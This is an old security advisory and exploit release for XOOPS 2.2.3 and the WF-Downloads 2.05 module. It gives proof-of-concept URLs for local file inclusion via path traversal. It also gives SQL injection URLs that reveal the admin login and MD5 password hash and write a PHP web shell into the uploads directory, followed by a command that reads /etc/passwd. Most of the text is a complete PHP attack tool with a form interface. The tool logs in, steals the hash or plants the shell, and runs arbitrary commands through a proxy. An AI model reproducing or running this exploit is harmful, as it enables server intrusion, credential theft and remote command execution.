11.04 12/11/2005

[1]XOOPS 2.2.3 Final arbitrary local inclusion
[2]XOOPS WF-Downloads module v 2.05 SQL Injection / Administrative credentials disclousre / Remote commands execution


software:
site: http://www.xoops.org/
description: "XOOPS is an extensible, OO (Object Oriented), easy to use dynamic web content management system written in PHP."


[1]
you can view any file on target system and include an arbitrary php file (without to specify extension),poc:

http://[target]/[path_to_xoops]/class/xoopseditor/textarea/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../script
http://[target]/[path_to_xoops]/class/xoopseditor/textarea/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../boot.ini%00
http://[target]/[path_to_xoops]/class/xoopseditor/koivi/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../script
http://[target]/[path_to_xoops]/class/xoopseditor/koivi/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../boot.ini%00
http://[target]/[path_to_xoops]/class/xoopseditor/dhtmltextarea/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../script
http://[target]/[path_to_xoops]/class/xoopseditor/dhtmltextarea/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../boot.ini%00


[2]if magic_quotes_gpc off -> SQL INJECTION in viewcat.php:
you can see at screen admin MD5 password hash,poc:
http://[target]/[path_to_xoops]/modules/wfdownloads/viewcat.php?list=-'%20UNION%20SELECT%200,0,loginname,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pass,0,0%20FROM%20fXZtr_users%20WHERE%20level=5/*

you can create a shell in a writable directory (this time "uploads" one),poc:
http://[target]/[path_to_xoops]/modules/wfdownloads/viewcat.php?list=-1'%20or'a'='a'%20UNION%20SELECT%200,0,0,'<?php%20system($_GET[cmd]);?>',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20INTO%20OUTFILE%20'../../www/xoops/uploads/shell.php'%20FROM%20fXZtr_wfdownloads_downloads/*

after you can launch commands:
http://[target]/[path_to_xoops]/uploads/shell.php?cmd=cat%20/etc/passwd


exploit tool:

<?php
#   ---XOOPS_WFd205_xpl.php                             11.35 12/11/2005       #
#                                                                              #
#          XOOPS WF_Downloads Module v 2.05 SQL injection /                    #
#      Admin credentials disclosure & remote commands execution all-in-one     #
#                              by rgod                                         #
#                  site: http://rgod.altervista.org                            #
#                                                                              #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  make these changes in php.ini if you have troubles                          #
#  with this script:                                                           #
#  allow_call_time_pass_reference = on                                         #
#  register_globals = on                                                       #
#                                                                              #
#  Sun-Tzu: "Indirect tactics, efficiently applied, are inexhausible as Heaven #
#  and Earth, unending as the flow of rivers and streams; like the sun and     #
#  moon, they end but to begin anew; like the four seasons, they pass away to  #
#  return once more.                                                           #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<html><head><title>XOOPS WF_Downloads module 2.05 SQL Injection    </title>
<meta http-equiv="Content-Type"  content="text/html; charset=iso-8859-1"> <style
type="text/css"> body {	background-color:#111111; SCROLLBAR-ARROW-COLOR:#ffffff;
SCROLLBAR-BASE-COLOR: black;    CURSOR: crosshair;    color:   #1CB081; }    img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
XOOPS WF_Downloads module 2.05 SQL Injection                      </p><p class="
Stile6">a script by rgod at <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%">  <form
name="form1"      method="post"   action="'.$SERVER[PHP_SELF].'?path=value&host=
value&port=value&command=value&proxy=value&action=value"><p><input   type="text"
name="host"> <span class="Stile5"> * hostname (ex: www.sitename.com) </span></p>
<p><input type="text" name="path"><span class="Stile5"> * path ( ex: /xoops/  or
just / )</span></p><p><input type="text" name="username"><span class="Stile5"> *
username</span></p><p><input type="text" name="password"><span class="Stile5"> *
...and password, to retrieve a session cookie</span> </p> <p><input  type="text"
name="action"><span class="Stile5"> * action: "HASH" to disclose admin loginname
& MD5 password hash, "CMD" to launch commands </span> </p><p> <input type="text"
name="pathtoWWW"><span class="Stile5">path to WWW ftom Mysql directory,need this
for "...INTO OUTFILE ..." statement (default: ../../www) </span></p><p>   <input
type="text" name="table_prefix"> <span class="Stile5"> specify a table  prefix
other than the default (fXZtr_)</span></p><p><input type="text" name="port">
<span class="Stile5">specify a port other than 80 (default value)</span> </p><p>
<input type="text" name="command"> <span class="Stile5">a Unix command, example:
ls -la  to list directories, cat /etc/passwd to show passwd file, cat ./../mainf
ile.php to see database username and password</span></p><p><input type="text"
name="proxy"> <span class="Stile5"> send exploit through an HTTP proxy (ip:port)
</span></p><p><input type="submit"name="Submit" value="go!"> </p> </form>  </td>
</tr></table></body></html>';


function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td>&nbsp;&nbsp;</td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
			    }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
			    }
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
		              //next function to send packets
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
                   echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
                   }
	      else
 		  {   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
                        die;
                       }
                    echo "OK.<br>";
                    echo "Attempting to connect to ".$host." on port ".$port."...<br>";
                    if ($proxy=='')
		   {
		     $result = socket_connect($socket, $host, $port);
		   }
		   else
		   {

		   $parts =explode(':',$proxy);
                   echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
		   $result = socket_connect($socket, $parts[0],$parts[1]);
		   }
		   if ($result < 0) {
                                     echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
                                    }
	                       else
		                    {
                                     echo "OK.<br><br>";
                                     $html= '';
                                     socket_write($socket, $packet, strlen($packet));
                                     echo "Reading response:<br>";
                                     while ($out= socket_read($socket, 2048)) {$html.=$out;}
                                     echo nl2br(htmlentities($html));
                                     echo "Closing socket...";
                                     socket_close($socket);

				    }
                  }
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
           {$ock=fsockopen(gethostbyname($host),$port);}
             else
           {
	   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
                        die;
                       }
	   $parts=explode(':',$proxy);
	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
	    $ock=fsockopen($parts[0],$parts[1]);
	    if (!$ock) { echo 'No response from proxy...';
			die;
		       }
	   }
fputs($ock,$packet);
if ($proxy=='')
  {

    $html='';
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}

if (($host<>"") and ($path<>"") and ($username<>"") and ($password<>""))
{

$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($pathtoWWW=='') {$pathtoWWW="../../www";}
#default, path for "INTO OUTFILE <[path][file]>, two dirs up from mysql data directory, change it for
#different installations
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
if ($table_prefix=='') {$table_prefix="fXZtr_";}
$action=strtoupper($action);
if (($action<>'HASH') and ($action<>'CMD')) {echo "Specify an action..."; die;}
if ($action=="CMD"){if ($command==""){echo "specify a command..."; die;}}

# STEP 1 -> Login to retrieve a session cookie, bypass referrer check...
$data="uname=".urlencode($username)."&pass=".urlencode($password)."&op=login";
$packet="POST ".$p."user.php HTTP/1.1\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Referer: http://".$host.":".$port.$path."/user.php?xoops_redirect=%2Fmodules%2Fprofile%2Factivate.php%3Fop%3Dactv%26id%3D15%26actkey%3D&PHPSESSID=7ed3f806816476461a96e18c28044414\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(' ',$temp[1]);
$cookie=$temp2[0];
echo '<br>Your cookie: '.htmlentities($cookie);

if ($action=='HASH'){
# STEP 2a -> Disclose Admin MD5 password hash
$SQL="-' UNION SELECT 0,0,loginname,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pass,0,0 FROM ";
$SQL.=$table_prefix."users WHERE level=5/*";
$SQL=urlencode($SQL);
$packet="GET ".$p."/modules/wfdownloads/viewcat.php?list=".$SQL." HTTP/1.1\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);

$temp=explode('<span class="itemTitle">',$html);
$temp2=explode('</span>',$temp[1]);
echo "LOGINNAME: ".$loginname=$temp2[0].'<BR>';
$temp=explode('<div style="margin-left: 6px;" align="justify">',$html);
$temp2=explode('</div>',$temp[2]);
echo "MD5 HASH: ".$hash=$temp2[0].'<BR>';
}

else
if ($action=='CMD'){
# STEP 3a -> Inject a shell through a query...
$SHELL="<?php error_reporting(0);ini_set(\"max_execution_time\",0);echo \"Hi Master \";system(\$_GET[cmd]);?>";
$SQL="-1'or'a'='a' UNION SELECT 0,0,0,'".$SHELL."',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 INTO";
$SQL.="OUTFILE '".$pathtoWWW.$path."uploads/shell.php' FROM ".$table_prefix."wfdownloads_downloads/*";
$SQL=urlencode($SQL);
$packet="GET ".$p."/modules/wfdownloads/viewcat.php?list=".$SQL." HTTP/1.1\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);

# STEP 3b -> Launch commands...
$packet="GET ".$p."/uploads/shell.php?cmd=".urlencode($command)." HTTP/1.1\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("Hi Master",$html)) {echo "<br>Exploit Succeded...";}
                         else {echo "<br>Exploit Failed...";}
}
}
else
{echo "Fill * requested fields, optionally specify a proxy...";}
?>


rgod
site: http://rgod.altervista.org
mail: retrogod at aliceposta it
original advisory: http://rgod.altervista.org/xooops_xpl.html